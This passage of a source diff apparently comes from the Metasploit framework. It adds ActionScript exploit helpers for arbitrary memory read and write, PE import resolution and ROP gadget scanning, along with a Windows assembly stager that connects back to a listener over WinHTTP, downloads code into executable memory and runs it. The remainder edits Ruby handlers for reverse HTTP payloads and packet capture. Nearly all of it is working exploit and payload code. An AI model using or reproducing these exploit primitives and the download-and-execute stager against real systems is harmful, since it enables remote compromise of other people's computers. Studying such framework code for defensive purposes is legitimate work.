vector[negative(2)] = vector_size;
|
||||
}
|
||||
|
||||
public function read_dword(address:uint):uint {
|
||||
var offset:uint = 0;
|
||||
|
||||
if (address & 0x3 != 0) {
|
||||
|
||||
// NB: we could read 2 dwords here, and produce the correct
|
||||
// dword, but that could lead to oob reads if we're close to
|
||||
// a page boundary. take the path of least danger, and throw
|
||||
// for debugging.
|
||||
|
||||
throw 'read_dword called with misaligned address'
|
||||
}
|
||||
|
||||
if (address < vector_base) {
|
||||
offset = negative((vector_base - address) >> 2);
|
||||
}
|
||||
else {
|
||||
offset = address - vector_base >> 2;
|
||||
}
|
||||
|
||||
try {
|
||||
return vector[offset];
|
||||
} catch (e:Error) {
|
||||
|
||||
// we can't read at offset 0xffffffff, sometimes we will want
|
||||
// to, but that is just life.
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
public function read_byte(address:uint):uint {
|
||||
var dword_address:uint = address & 0xfffffffc;
|
||||
var dword:uint = read_dword(dword_address);
|
||||
|
||||
while (address & 0x3) {
|
||||
dword = dword >> 8;
|
||||
address -= 1;
|
||||
}
|
||||
|
||||
return (dword & 0xff);
|
||||
}
|
||||
|
||||
public function read_string(address:uint):String {
|
||||
var string:String = '';
|
||||
var dword:uint = 0;
|
||||
|
||||
while (address & 0x3) {
|
||||
var char:uint = read_byte(address);
|
||||
|
||||
if (char == 0) {
|
||||
return string;
|
||||
}
|
||||
|
||||
string += String.fromCharCode(char);
|
||||
address += 1;
|
||||
}
|
||||
|
||||
while (true) {
|
||||
dword = read_dword(address);
|
||||
if ((dword & 0xff) != 0) {
|
||||
string += String.fromCharCode(dword & 0xff);
|
||||
dword = dword >> 8;
|
||||
}
|
||||
else {
|
||||
return string;
|
||||
}
|
||||
|
||||
if ((dword & 0xff) != 0) {
|
||||
string += String.fromCharCode(dword & 0xff);
|
||||
dword = dword >> 8;
|
||||
}
|
||||
else {
|
||||
return string;
|
||||
}
|
||||
|
||||
if ((dword & 0xff) != 0) {
|
||||
string += String.fromCharCode(dword & 0xff);
|
||||
dword = dword >> 8;
|
||||
}
|
||||
else {
|
||||
return string;
|
||||
}
|
||||
|
||||
if ((dword & 0xff) != 0) {
|
||||
string += String.fromCharCode(dword & 0xff);
|
||||
}
|
||||
else {
|
||||
return string;
|
||||
}
|
||||
|
||||
address += 4;
|
||||
}
|
||||
|
||||
return string;
|
||||
}
|
||||
|
||||
public function write_dword(address:uint, value:uint):void {
|
||||
var offset:uint = 0;
|
||||
|
||||
if (address & 0x3 != 0) {
|
||||
|
||||
// NB: we could read 2 dwords here, and write 2 dwords, and
|
||||
// produce the correct dword, but that could lead to oob reads
|
||||
// and writes if we're close to a page boundary. take the path
|
||||
// of least danger, and throw for debugging.
|
||||
|
||||
throw 'write_dword called with misaligned address'
|
||||
}
|
||||
|
||||
if (address < vector_base) {
|
||||
offset = negative((vector_base - address) >> 2);
|
||||
}
|
||||
else {
|
||||
offset = (address - vector_base) >> 2;
|
||||
}
|
||||
|
||||
vector[offset] = value;
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,157 @@
|
|||
package
|
||||
{
|
||||
import flash.utils.ByteArray;
|
||||
|
||||
public class PE32
|
||||
{
|
||||
private var m:Memory;
|
||||
|
||||
public var base:uint;
|
||||
public var dos_header:uint;
|
||||
public var nt_header:uint;
|
||||
public var file_header:uint;
|
||||
public var opt_header:uint;
|
||||
|
||||
private function FindBase(ptr:uint):uint {
|
||||
ptr = ptr & 0xffff0000;
|
||||
var dword:uint = m.read_dword(ptr);
|
||||
|
||||
while ((dword & 0xffff) != 0x5a4d) {
|
||||
ptr -= 0x10000;
|
||||
dword = m.read_dword(ptr);
|
||||
}
|
||||
|
||||
return ptr;
|
||||
}
|
||||
|
||||
public function ParseHeaders():void {
|
||||
dos_header = base;
|
||||
var e_lfanew:uint = m.read_dword(dos_header + 60);
|
||||
|
||||
nt_header = dos_header + e_lfanew;
|
||||
var nt_magic:uint = m.read_dword(nt_header);
|
||||
if (nt_magic != 0x00004550) {
|
||||
dos_header = 0;
|
||||
nt_header = 0;
|
||||
return;
|
||||
}
|
||||
|
||||
file_header = nt_header + 4;
|
||||
var machine:uint = m.read_dword(file_header);
|
||||
if ((machine & 0xffff) != 0x014c) {
|
||||
dos_header = 0;
|
||||
nt_header = 0;
|
||||
file_header = 0;
|
||||
return;
|
||||
}
|
||||
|
||||
opt_header = nt_header + 24;
|
||||
var opt_magic:uint = m.read_dword(opt_header);
|
||||
if ((opt_magic & 0xffff) != 0x10b) {
|
||||
dos_header = 0;
|
||||
nt_header = 0;
|
||||
file_header = 0;
|
||||
opt_header = 0;
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
public function GetImport(mod_name:String, fun_name:String):uint {
|
||||
if (base == 0 || dos_header == 0) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
var data_directory:uint = opt_header + 96;
|
||||
|
||||
var import_dir:uint = data_directory + 8;
|
||||
var import_rva:uint = m.read_dword(import_dir);
|
||||
var import_size:uint = m.read_dword(import_dir + 4);
|
||||
if (import_size == 0) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
var import_descriptor:uint = base + import_rva;
|
||||
var orig_first_thunk:uint = m.read_dword(import_descriptor);
|
||||
while (orig_first_thunk != 0) {
|
||||
|
||||
var module_name_ptr:uint =
|
||||
dos_header + m.read_dword(import_descriptor + 12);
|
||||
|
||||
if (module_name_ptr != 0) {
|
||||
var module_name:String = m.read_string(module_name_ptr);
|
||||
if (module_name == mod_name) {
|
||||
orig_first_thunk += dos_header;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
import_descriptor += (5 * 4);
|
||||
orig_first_thunk = m.read_dword(import_descriptor);
|
||||
}
|
||||
|
||||
var first_thunk:uint = dos_header + m.read_dword(import_descriptor + 16);
|
||||
var thunk:uint = orig_first_thunk;
|
||||
var import_by_name_rva:uint = m.read_dword(thunk);
|
||||
while (import_by_name_rva != 0) {
|
||||
var function_name_ptr:uint = dos_header + import_by_name_rva + 2;
|
||||
|
||||
var function_name:String = m.read_string(function_name_ptr);
|
||||
if (function_name == fun_name) {
|
||||
return m.read_dword(first_thunk);
|
||||
}
|
||||
|
||||
thunk += 4;
|
||||
first_thunk += 4;
|
||||
import_by_name_rva = m.read_dword(thunk);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
public function GetGadget(gadget:ByteArray):uint {
|
||||
var opt_header_size:uint = m.read_dword(file_header + 16) & 0xffff;
|
||||
var section_count:uint = (m.read_dword(file_header) >> 16) & 0xffff;
|
||||
var section_header:uint = opt_header + opt_header_size;
|
||||
|
||||
for (var i:uint = 0; i < section_count; ++i) {
|
||||
var characteristics:uint = m.read_dword(section_header + (9 * 4));
|
||||
|
||||
if ((characteristics & 0xe0000000) == 0x60000000) {
|
||||
// this section is read/execute, so scan for gadget
|
||||
|
||||
var section_rva:uint = m.read_dword(section_header + 12);
|
||||
var section_size:uint = m.read_dword(section_header + 16);
|
||||
var section_base:uint = base + section_rva;
|
||||
var section:ByteArray = new ByteArray();
|
||||
section.endian = "littleEndian";
|
||||
section.length = section_size;
|
||||
|
||||
for (var j:uint = 0; j < section_size; j += 4) {
|
||||
section.writeUnsignedInt(
|
||||
m.read_dword(section_base + j));
|
||||
}
|
||||
|
||||
for (j = 0; j < section_size; j += 1) {
|
||||
section.position = j;
|
||||
gadget.position = 0;
|
||||
while (section.readByte() == gadget.readByte()) {
|
||||
if (gadget.position == gadget.length) {
|
||||
return section_base + j;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
section_header += 10 * 5;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
public function PE32(memory:Memory, ptr:uint) {
|
||||
m = memory;
|
||||
base = FindBase(ptr);
|
||||
ParseHeaders();
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,51 @@
|
|||
package
|
||||
{
|
||||
public class Pwned
|
||||
{
|
||||
public var magic1:uint;
|
||||
public var magic2:uint;
|
||||
|
||||
public function Rop(
|
||||
arg_00:uint, arg_01:uint, arg_02:uint, arg_03:uint, arg_04:uint, arg_05:uint, arg_06:uint, arg_07:uint,
|
||||
arg_08:uint, arg_09:uint, arg_0a:uint, arg_0b:uint, arg_0c:uint, arg_0d:uint, arg_0e:uint, arg_0f:uint,
|
||||
arg_10:uint, arg_11:uint, arg_12:uint, arg_13:uint, arg_14:uint, arg_15:uint, arg_16:uint, arg_17:uint,
|
||||
arg_18:uint, arg_19:uint, arg_1a:uint, arg_1b:uint, arg_1c:uint, arg_1d:uint, arg_1e:uint, arg_1f:uint,
|
||||
arg_20:uint, arg_21:uint, arg_22:uint, arg_23:uint, arg_24:uint, arg_25:uint, arg_26:uint, arg_27:uint,
|
||||
arg_28:uint, arg_29:uint, arg_2a:uint, arg_2b:uint, arg_2c:uint, arg_2d:uint, arg_2e:uint, arg_2f:uint,
|
||||
arg_30:uint, arg_31:uint, arg_32:uint, arg_33:uint, arg_34:uint, arg_35:uint, arg_36:uint, arg_37:uint,
|
||||
arg_38:uint, arg_39:uint, arg_3a:uint, arg_3b:uint, arg_3c:uint, arg_3d:uint, arg_3e:uint, arg_3f:uint,
|
||||
arg_40:uint, arg_41:uint, arg_42:uint, arg_43:uint, arg_44:uint, arg_45:uint, arg_46:uint, arg_47:uint,
|
||||
arg_48:uint, arg_49:uint, arg_4a:uint, arg_4b:uint, arg_4c:uint, arg_4d:uint, arg_4e:uint, arg_4f:uint,
|
||||
arg_50:uint, arg_51:uint, arg_52:uint, arg_53:uint, arg_54:uint, arg_55:uint, arg_56:uint, arg_57:uint,
|
||||
arg_58:uint, arg_59:uint, arg_5a:uint, arg_5b:uint, arg_5c:uint, arg_5d:uint, arg_5e:uint, arg_5f:uint,
|
||||
arg_60:uint, arg_61:uint, arg_62:uint, arg_63:uint, arg_64:uint, arg_65:uint, arg_66:uint, arg_67:uint,
|
||||
arg_68:uint, arg_69:uint, arg_6a:uint, arg_6b:uint, arg_6c:uint, arg_6d:uint, arg_6e:uint, arg_6f:uint,
|
||||
arg_70:uint, arg_71:uint, arg_72:uint, arg_73:uint, arg_74:uint, arg_75:uint, arg_76:uint, arg_77:uint,
|
||||
arg_78:uint, arg_79:uint, arg_7a:uint, arg_7b:uint, arg_7c:uint, arg_7d:uint, arg_7e:uint, arg_7f:uint,
|
||||
arg_80:uint, arg_81:uint, arg_82:uint, arg_83:uint, arg_84:uint, arg_85:uint, arg_86:uint, arg_87:uint,
|
||||
arg_88:uint, arg_89:uint, arg_8a:uint, arg_8b:uint, arg_8c:uint, arg_8d:uint, arg_8e:uint, arg_8f:uint,
|
||||
arg_90:uint, arg_91:uint, arg_92:uint, arg_93:uint, arg_94:uint, arg_95:uint, arg_96:uint, arg_97:uint,
|
||||
arg_98:uint, arg_99:uint, arg_9a:uint, arg_9b:uint, arg_9c:uint, arg_9d:uint, arg_9e:uint, arg_9f:uint,
|
||||
arg_a0:uint, arg_a1:uint, arg_a2:uint, arg_a3:uint, arg_a4:uint, arg_a5:uint, arg_a6:uint, arg_a7:uint,
|
||||
arg_a8:uint, arg_a9:uint, arg_aa:uint, arg_ab:uint, arg_ac:uint, arg_ad:uint, arg_ae:uint, arg_af:uint,
|
||||
arg_b0:uint, arg_b1:uint, arg_b2:uint, arg_b3:uint, arg_b4:uint, arg_b5:uint, arg_b6:uint, arg_b7:uint,
|
||||
arg_b8:uint, arg_b9:uint, arg_ba:uint, arg_bb:uint, arg_bc:uint, arg_bd:uint, arg_be:uint, arg_bf:uint,
|
||||
arg_c0:uint, arg_c1:uint, arg_c2:uint, arg_c3:uint, arg_c4:uint, arg_c5:uint, arg_c6:uint, arg_c7:uint,
|
||||
arg_c8:uint, arg_c9:uint, arg_ca:uint, arg_cb:uint, arg_cc:uint, arg_cd:uint, arg_ce:uint, arg_cf:uint,
|
||||
arg_d0:uint, arg_d1:uint, arg_d2:uint, arg_d3:uint, arg_d4:uint, arg_d5:uint, arg_d6:uint, arg_d7:uint,
|
||||
arg_d8:uint, arg_d9:uint, arg_da:uint, arg_db:uint, arg_dc:uint, arg_dd:uint, arg_de:uint, arg_df:uint,
|
||||
arg_e0:uint, arg_e1:uint, arg_e2:uint, arg_e3:uint, arg_e4:uint, arg_e5:uint, arg_e6:uint, arg_e7:uint,
|
||||
arg_e8:uint, arg_e9:uint, arg_ea:uint, arg_eb:uint, arg_ec:uint, arg_ed:uint, arg_ee:uint, arg_ef:uint,
|
||||
arg_f0:uint, arg_f1:uint, arg_f2:uint, arg_f3:uint, arg_f4:uint, arg_f5:uint, arg_f6:uint, arg_f7:uint,
|
||||
arg_f8:uint, arg_f9:uint, arg_fa:uint, arg_fb:uint, arg_fc:uint, arg_fd:uint, arg_fe:uint, arg_ff:uint):uint
|
||||
{
|
||||
return magic1 + magic2;
|
||||
}
|
||||
|
||||
public function Pwned()
|
||||
{
|
||||
magic1 = 0xdecafbad;
|
||||
magic2 = 0xdecafbad;
|
||||
}
|
||||
}
|
||||
}
|
|
@ -145,7 +145,7 @@ download_more:
|
|||
test eax,eax ; download failed? (optional?)
|
||||
jz failure
|
||||
|
||||
mov rax, [rdi]
|
||||
mov ax, word ptr [edi]
|
||||
add rbx, rax ; buffer += bytes_received
|
||||
|
||||
test rax,rax ; optional?
|
||||
|
|
|
@ -0,0 +1,138 @@
|
|||
;-----------------------------------------------------------------------------;
|
||||
; Author: Borja Merino (modification of the HD Moore HTTP stager based on WinINet)
|
||||
; Version: 1.0
|
||||
;-----------------------------------------------------------------------------;
|
||||
[BITS 32]
|
||||
%define u(x) __utf16__(x)
|
||||
%define HTTP_OPEN_FLAGS 0x00000100
|
||||
;0x00000100 ; WINHTTP_FLAG_BYPASS_PROXY_CACHE
|
||||
|
||||
; Input: EBP must be the address of 'api_call'.
|
||||
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
|
||||
|
||||
load_winhttp:
|
||||
push 0x00707474 ; Push the string 'winhttp',0
|
||||
push 0x686E6977 ; ...
|
||||
push esp ; Push a pointer to the "winhttp" string
|
||||
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
||||
call ebp ; LoadLibraryA( "winhttp" )
|
||||
|
||||
set_retry:
|
||||
push byte 6 ; retry 6 times
|
||||
pop EDI
|
||||
xor ebx, ebx
|
||||
mov ecx, edi
|
||||
|
||||
push_zeros:
|
||||
push ebx ; NULL values for the WinHttpOpen API parameters
|
||||
loop push_zeros
|
||||
|
||||
WinHttpOpen:
|
||||
; Flags [5]
|
||||
; ProxyBypass (NULL) [4]
|
||||
; ProxyName (NULL) [3]
|
||||
; AccessType (DEFAULT_PROXY= 0) [2]
|
||||
; UserAgent (NULL) [1]
|
||||
push 0xBB9D1F04 ; hash( "winhttp.dll", "WinHttpOpen" )
|
||||
call ebp
|
||||
|
||||
WinHttpConnect:
|
||||
push ebx ; Reserved (NULL) [4]
|
||||
push dword 4444 ; Port [3]
|
||||
call got_server_uri ; Double call to get pointer for both server_uri and
|
||||
server_uri: ; server_host; server_uri is saved in EDI for later
|
||||
dw u('/12345'), 0
|
||||
got_server_host:
|
||||
push eax ; Session handle returned by WinHttpOpen [1]
|
||||
push 0xC21E9B46 ; hash( "winhttp.dll", "WinHttpConnect" )
|
||||
call ebp
|
||||
|
||||
WinHttpOpenRequest:
|
||||
|
||||
push HTTP_OPEN_FLAGS ; Flags [7]
|
||||
push ebx ; AcceptTypes (NULL) [6]
|
||||
push ebx ; Referrer (NULL) [5]
|
||||
push ebx ; Version (NULL) [4]
|
||||
push edi ; ObjectName (URI) [3]
|
||||
push ebx ; Verb (GET method) (NULL) [2]
|
||||
push eax ; Connect handler returned by WinHttpConnect [1]
|
||||
push 0x5BB31098 ; hash( "winhttp.dll", "WinHttpOpenRequest" )
|
||||
call ebp
|
||||
xchg esi, eax ; save HttpRequest handler in esi
|
||||
|
||||
send_request:
|
||||
|
||||
WinHttpSendRequest:
|
||||
push ebx ; Context [7]
|
||||
push ebx ; TotalLength [6]
|
||||
push ebx ; OptionalLength (0) [5]
|
||||
push ebx ; Optional (NULL) [4]
|
||||
push ebx ; HeadersLength (0) [3]
|
||||
push ebx ; Headers (NULL) [2]
|
||||
push esi ; HttpRequest handler returned by WinHttpOpenRequest [1]
|
||||
push 0x91BB5895 ; hash( "winhttp.dll", "WinHttpSendRequest" )
|
||||
call ebp
|
||||
test eax,eax
|
||||
jnz short receive_response ; if TRUE call WinHttpReceiveResponse API
|
||||
|
||||
try_it_again:
|
||||
dec edi
|
||||
jnz send_request
|
||||
|
||||
; if we didn't allocate before running out of retries, fall through to
|
||||
; failure
|
||||
|
||||
failure:
|
||||
push 0x56A2B5F0 ; hardcoded to exitprocess for size
|
||||
call ebp
|
||||
|
||||
receive_response:
|
||||
; The API WinHttpReceiveResponse needs to be called
|
||||
; first to get a valid handler for WinHttpReadData
|
||||
push ebx ; Reserved (NULL) [2]
|
||||
push esi ; Request handler returned by WinHttpSendRequest [1]
|
||||
push 0x709D8805 ; hash( "winhttp.dll", "WinHttpReceiveResponse" )
|
||||
call ebp
|
||||
test eax,eax
|
||||
jz failure
|
||||
|
||||
allocate_memory:
|
||||
push byte 0x40 ; PAGE_EXECUTE_READWRITE
|
||||
push 0x1000 ; MEM_COMMIT
|
||||
push 0x00400000 ; Stage allocation (4Mb ought to do us)
|
||||
push ebx ; NULL as we dont care where the allocation is
|
||||
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
|
||||
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
|
||||
download_prep:
|
||||
xchg eax, ebx ; place the allocated base address in ebx
|
||||
push ebx ; store a copy of the stage base address on the stack
|
||||
push ebx ; temporary storage for bytes read count
|
||||
mov edi, esp ; &bytesRead
|
||||
|
||||
download_more:
|
||||
push edi ; NumberOfBytesRead (bytesRead)
|
||||
push 8192 ; NumberOfBytesToRead
|
||||
push ebx ; Buffer
|
||||
push esi ; Request handler returned by WinHttpReceiveResponse
|
||||
push 0x7E24296C ; hash( "winhttp.dll", "WinHttpReadData" )
|
||||
call ebp
|
||||
|
||||
test eax,eax ; if download failed? (optional?)
|
||||
jz failure
|
||||
|
||||
mov eax, [edi]
|
||||
add ebx, eax ; buffer += bytes_received
|
||||
|
||||
test eax,eax ; optional?
|
||||
jnz download_more ; continue until it returns 0
|
||||
pop eax ; clear the temporary storage
|
||||
|
||||
execute_stage:
|
||||
ret ; dive into the stored stage address
|
||||
|
||||
got_server_uri:
|
||||
pop edi
|
||||
call got_server_host ; put the server_host on the stack (WinHttpConnect API [2])
|
||||
|
||||
server_host:
|
|
@ -0,0 +1,19 @@
|
|||
;-----------------------------------------------------------------------------;
|
||||
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
|
||||
; Borja Merino (bmerinofe[at]gmail.com). [WinHttp stager (Http)]
|
||||
; Version: 1.0 (January 2015)
|
||||
; Size: 323 bytes
|
||||
; Build: >build.py stager_reverse_winhttp_http
|
||||
;-----------------------------------------------------------------------------;
|
||||
|
||||
[BITS 32]
|
||||
[ORG 0]
|
||||
|
||||
cld ; Clear the direction flag.
|
||||
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||
%include "./src/block/block_api.asm"
|
||||
start: ;
|
||||
pop ebp ; pop off the address of 'api_call' for calling later.
|
||||
%include "./src/block/block_reverse_winhttp_http.asm"
|
||||
; By here we will have performed the reverse_tcp connection and EDI will be our socket.
|
||||
|
|
@ -94,7 +94,7 @@ class EncodedPayload
|
|||
#
|
||||
# @return [String] The raw, unencoded payload.
|
||||
def generate_raw
|
||||
self.raw = (reqs['Prepend'] || '') + pinst.generate + (reqs['Append'] || '')
|
||||
self.raw = (reqs['Prepend'] || '') + pinst.generate_complete + (reqs['Append'] || '')
|
||||
|
||||
# If an encapsulation routine was supplied, then we should call it so
|
||||
# that we can get the real raw payload.
|
||||
|
|
|
@ -42,7 +42,7 @@ module Msf
|
|||
[
|
||||
true,
|
||||
'Send a TTL=1 random UDP datagram to this host to discover the default gateway\'s MAC',
|
||||
'www.metasploit.com']),
|
||||
'8.8.8.8']),
|
||||
OptPort.new('GATEWAY_PROBE_PORT',
|
||||
[
|
||||
false,
|
||||
|
@ -143,7 +143,6 @@ module Msf
|
|||
return unless self.capture
|
||||
self.capture = nil
|
||||
self.arp_capture = nil
|
||||
GC.start()
|
||||
end
|
||||
|
||||
def capture_extract_ies(raw)
|
||||
|
@ -163,26 +162,15 @@ module Msf
|
|||
end
|
||||
|
||||
#
|
||||
# This monstrosity works around a series of bugs in the interrupt
|
||||
# signal handling of Ruby 1.9
|
||||
# Loop through each packet
|
||||
#
|
||||
def each_packet
|
||||
return unless capture
|
||||
begin
|
||||
@capture_count = 0
|
||||
reader = framework.threads.spawn("PcapReceiver", false) do
|
||||
capture.each do |pkt|
|
||||
yield(pkt)
|
||||
@capture_count += 1
|
||||
end
|
||||
end
|
||||
reader.join
|
||||
rescue ::Exception
|
||||
raise $!
|
||||
ensure
|
||||
reader.kill if reader.alive?
|
||||
@capture_count ||= 0
|
||||
capture.each do |pkt|
|
||||
yield(pkt)
|
||||
@capture_count += 1
|
||||
end
|
||||
|
||||
@capture_count
|
||||
end
|
||||
|
||||
|
@ -242,10 +230,9 @@ module Msf
|
|||
pcap.inject(pkt)
|
||||
Rex.sleep((delay * 1.0)/1000)
|
||||
end
|
||||
GC.start
|
||||
end
|
||||
|
||||
# Capture_sendto is intended to replace the old Rex::Socket::Ip.sendto method. It requires
|
||||
# capture_sendto is intended to replace the old Rex::Socket::Ip.sendto method. It requires
|
||||
# a payload and a destination address. To send to the broadcast address, set bcast
|
||||
# to true (this will guarantee that packets will be sent even if ARP doesn't work
|
||||
# out).
|
||||
|
@ -262,24 +249,20 @@ module Msf
|
|||
|
||||
# The return value either be a PacketFu::Packet object, or nil
|
||||
def inject_reply(proto=:udp, pcap=self.capture)
|
||||
reply = nil
|
||||
to = (datastore['TIMEOUT'] || 500).to_f / 1000.0
|
||||
if not pcap
|
||||
raise RuntimeError, "Could not access the capture process (remember to open_pcap first!)"
|
||||
else
|
||||
begin
|
||||
::Timeout.timeout(to) do
|
||||
pcap.each do |r|
|
||||
packet = PacketFu::Packet.parse(r)
|
||||
next unless packet.proto.map { |x| x.downcase.to_sym }.include? proto
|
||||
reply = packet
|
||||
break
|
||||
end
|
||||
# Defaults to ~2 seconds
|
||||
to = (datastore['TIMEOUT'] * 4) / 1000.0
|
||||
raise RuntimeError, "Could not access the capture process (remember to open_pcap first!)" if not pcap
|
||||
begin
|
||||
::Timeout.timeout(to) do
|
||||
pcap.each do |r|
|
||||
packet = PacketFu::Packet.parse(r)
|
||||
next unless packet.proto.map { |x| x.downcase.to_sym }.include? proto
|
||||
return packet
|
||||
end
|
||||
rescue ::Timeout::Error
|
||||
end
|
||||
rescue ::Timeout::Error
|
||||
end
|
||||
return reply
|
||||
nil
|
||||
end
|
||||
|
||||
# This ascertains the correct Ethernet addresses one should use to
|
||||
|
@ -328,20 +311,19 @@ module Msf
|
|||
end
|
||||
|
||||
begin
|
||||
to = (datastore['TIMEOUT'] || 1500).to_f / 1000.0
|
||||
to = ((datastore['TIMEOUT'] || 500).to_f * 8) / 1000.0
|
||||
::Timeout.timeout(to) do
|
||||
while (my_packet = inject_reply(:udp, self.arp_capture))
|
||||
if my_packet.payload == secret
|
||||
dst_mac = self.arp_cache[:gateway] = my_packet.eth_daddr
|
||||
src_mac = self.arp_cache[Rex::Socket.source_address(addr)] = my_packet.eth_saddr
|
||||
return [dst_mac, src_mac]
|
||||
else
|
||||
next
|
||||
end
|
||||
loop do
|
||||
my_packet = inject_reply(:udp, self.arp_capture)
|
||||
next unless my_packet
|
||||
next unless my_packet.payload == secret
|
||||
dst_mac = self.arp_cache[:gateway] = my_packet.eth_daddr
|
||||
src_mac = self.arp_cache[Rex::Socket.source_address(addr)] = my_packet.eth_saddr
|
||||
return [dst_mac, src_mac]
|
||||
end
|
||||
end
|
||||
rescue ::Timeout::Error
|
||||
# Well, that didn't work (this common on networks where there's no gatway, like
|
||||
# Well, that didn't work (this is common on networks where there's no gateway, like
|
||||
# VMWare network interfaces. We'll need to use a fake source hardware address.
|
||||
self.arp_cache[Rex::Socket.source_address(addr)] = "00:00:00:00:00:00"
|
||||
end
|
||||
|
@ -354,26 +336,31 @@ module Msf
|
|||
return self.arp_cache[:gateway] unless should_arp? target_ip
|
||||
source_ip = Rex::Socket.source_address(target_ip)
|
||||
raise RuntimeError, "Could not access the capture process." unless self.arp_capture
|
||||
|
||||
p = arp_packet(target_ip, source_ip)
|
||||
inject_eth(:eth_type => 0x0806,
|
||||
:payload => p,
|
||||
:pcap => self.arp_capture,
|
||||
:eth_saddr => self.arp_cache[Rex::Socket.source_address(target_ip)]
|
||||
)
|
||||
begin
|
||||
to = (datastore['TIMEOUT'] || 500).to_f / 1000.0
|
||||
::Timeout.timeout(to) do
|
||||
while (my_packet = inject_reply(:arp, self.arp_capture))
|
||||
if my_packet.arp_saddr_ip == target_ip
|
||||
|
||||
# Try up to 3 times to get an ARP response
|
||||
1.upto(3) do
|
||||
inject_eth(:eth_type => 0x0806,
|
||||
:payload => p,
|
||||
:pcap => self.arp_capture,
|
||||
:eth_saddr => self.arp_cache[Rex::Socket.source_address(target_ip)]
|
||||
)
|
||||
begin
|
||||
to = ((datastore['TIMEOUT'] || 500).to_f * 8) / 1000.0
|
||||
::Timeout.timeout(to) do
|
||||
loop do
|
||||
my_packet = inject_reply(:arp, self.arp_capture)
|
||||
next unless my_packet
|
||||
next unless my_packet.arp_saddr_ip == target_ip
|
||||
self.arp_cache[target_ip] = my_packet.eth_saddr
|
||||
return self.arp_cache[target_ip]
|
||||
else
|
||||
next
|
||||
end
|
||||
end
|
||||
rescue ::Timeout::Error
|
||||
end
|
||||
rescue ::Timeout::Error
|
||||
end
|
||||
nil
|
||||
end
|
||||
|
||||
# Creates a full ARP packet, mainly for use with inject_eth()
|
||||
|
|
|
@ -76,7 +76,6 @@ module Exploit::Remote::Ipv6
|
|||
|
||||
return if not @ipv6_icmp6_capture
|
||||
@ipv6_icmp6_capture = nil
|
||||
GC.start()
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -256,11 +256,11 @@ module ReverseHopHttp
|
|||
:expiration => datastore['SessionExpirationTimeout'],
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'],
|
||||
:ua => datastore['MeterpreterUserAgent'],
|
||||
:proxyhost => datastore['PROXYHOST'],
|
||||
:proxyport => datastore['PROXYPORT'],
|
||||
:proxy_type => datastore['PROXY_TYPE'],
|
||||
:proxy_username => datastore['PROXY_USERNAME'],
|
||||
:proxy_password => datastore['PROXY_PASSWORD']
|
||||
:proxy_host => datastore['PayloadProxyHost'],
|
||||
:proxy_port => datastore['PayloadProxyPort'],
|
||||
:proxy_type => datastore['PayloadProxyType'],
|
||||
:proxy_user => datastore['PayloadProxyUser'],
|
||||
:proxy_pass => datastore['PayloadProxyPass']
|
||||
|
||||
blob = encode_stage(blob)
|
||||
|
||||
|
|
|
@ -53,22 +53,17 @@ module ReverseHttp
|
|||
OptString.new('MeterpreterServerName', [ false, 'The server header that the handler will send in response to requests', 'Apache' ]),
|
||||
OptAddress.new('ReverseListenerBindAddress', [ false, 'The specific IP address to bind to on the local system']),
|
||||
OptInt.new('ReverseListenerBindPort', [ false, 'The port to bind to on the local system if different from LPORT' ]),
|
||||
OptBool.new('OverrideRequestHost', [ false, 'Forces clients to connect to LHOST:LPORT instead of keeping original payload host', false ]),
|
||||
OptString.new('HttpUnknownRequestResponse', [ false, 'The returned HTML response body when the handler receives a request that is not from a payload', '<html><body><h1>It works!</h1></body></html>' ])
|
||||
], Msf::Handler::ReverseHttp)
|
||||
end
|
||||
|
||||
# Toggle for IPv4 vs IPv6 mode
|
||||
#
|
||||
def ipv6?
|
||||
Rex::Socket.is_ipv6?(datastore['LHOST'])
|
||||
end
|
||||
|
||||
# Determine where to bind the server
|
||||
#
|
||||
# @return [String]
|
||||
def listener_address
|
||||
if datastore['ReverseListenerBindAddress'].to_s.empty?
|
||||
bindaddr = (ipv6?) ? '::' : '0.0.0.0'
|
||||
if datastore['ReverseListenerBindAddress'].to_s == ""
|
||||
bindaddr = Rex::Socket.is_ipv6?(datastore['LHOST']) ? '::' : '0.0.0.0'
|
||||
else
|
||||
bindaddr = datastore['ReverseListenerBindAddress']
|
||||
end
|
||||
|
@ -76,14 +71,12 @@ module ReverseHttp
|
|||
bindaddr
|
||||
end
|
||||
|
||||
# Return a URI suitable for placing in a payload
|
||||
#
|
||||
# @return [String] A URI of the form +scheme://host:port/+
|
||||
def listener_uri
|
||||
if ipv6?
|
||||
listen_host = "[#{listener_address}]"
|
||||
else
|
||||
listen_host = listener_address
|
||||
end
|
||||
"#{scheme}://#{listen_host}:#{datastore['LPORT']}/"
|
||||
uri_host = Rex::Socket.is_ipv6?(listener_address) ? "[#{listener_address}]" : listener_address
|
||||
"#{scheme}://#{uri_host}:#{datastore['LPORT']}/"
|
||||
end
|
||||
|
||||
# Return a URI suitable for placing in a payload.
|
||||
|
@ -92,13 +85,15 @@ module ReverseHttp
|
|||
# addresses.
|
||||
#
|
||||
# @return [String] A URI of the form +scheme://host:port/+
|
||||
def payload_uri
|
||||
if ipv6?
|
||||
callback_host = "[#{datastore['LHOST']}]"
|
||||
def payload_uri(req)
|
||||
if req and req.headers and req.headers['Host'] and not datastore['OverrideRequestHost']
|
||||
callback_host = req.headers['Host']
|
||||
elsif ipv6?
|
||||
callback_host = "[#{datastore['LHOST']}]:#{datastore['LPORT']}"
|
||||
else
|
||||
callback_host = datastore['LHOST']
|
